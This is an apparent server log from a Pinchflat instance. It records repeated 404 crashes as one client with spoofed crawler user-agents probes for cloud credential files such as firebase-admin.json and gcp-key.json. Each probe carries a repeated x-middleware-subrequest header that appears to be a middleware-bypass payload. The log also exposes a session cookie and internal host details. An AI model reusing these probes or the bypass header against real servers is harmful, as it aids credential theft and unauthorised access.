16:49:05.138 [debug] QUERY OK source="settings" db=0.0ms idle=127.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.138 [debug] QUERY OK source="settings" db=0.0ms idle=99.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.138 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.139 [info] GET /sa.json 16:49:05.139 [debug] QUERY OK source="settings" db=0.0ms idle=99.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.139 [debug] QUERY OK source="settings" db=0.0ms idle=11.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.139 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.139 [error] #PID<0.29529.0> running PinchflatWeb.Endpoint (connection #PID<0.29528.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /firebase-admin.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33396}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29529.0>, params: %{}, path_info: ["firebase-admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/firebase-admin.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61STF7gKhMCEABvih"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33396}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29528.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33396}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:05.139 [error] #PID<0.29531.0> running PinchflatWeb.Endpoint (connection #PID<0.29530.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sa.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sa (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sa.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29531.0>, params: %{}, path_info: ["sa"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/sa.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61STRqqQtkGMABvjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sa.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sa (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29530.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sa.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:05.146 [info] GET /gcp-key.json 16:49:05.146 [debug] QUERY OK source="settings" db=0.0ms idle=18.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.146 [debug] QUERY OK source="settings" db=0.0ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.146 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.146 [error] #PID<0.29533.0> running PinchflatWeb.Endpoint (connection #PID<0.29532.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /gcp-key.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-key.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33412}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29533.0>, params: %{}, path_info: ["gcp-key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/gcp-key.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61SVAZkQISSAABvjh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-key.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33412}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29532.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-key.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33412}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:05.176 [info] GET /config/firebase-admin.json 16:49:05.176 [debug] QUERY OK source="settings" db=0.0ms idle=37.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.176 [debug] QUERY OK source="settings" db=0.0ms idle=36.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.176 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.176 [error] #PID<0.29535.0> running PinchflatWeb.Endpoint (connection #PID<0.29534.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /config/firebase-admin.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/firebase-admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29534.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/firebase-admin.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33422}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29535.0>, params: %{}, path_info: ["config", "firebase-admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/config/firebase-admin.json", resp_body: nil, resp_cookies: 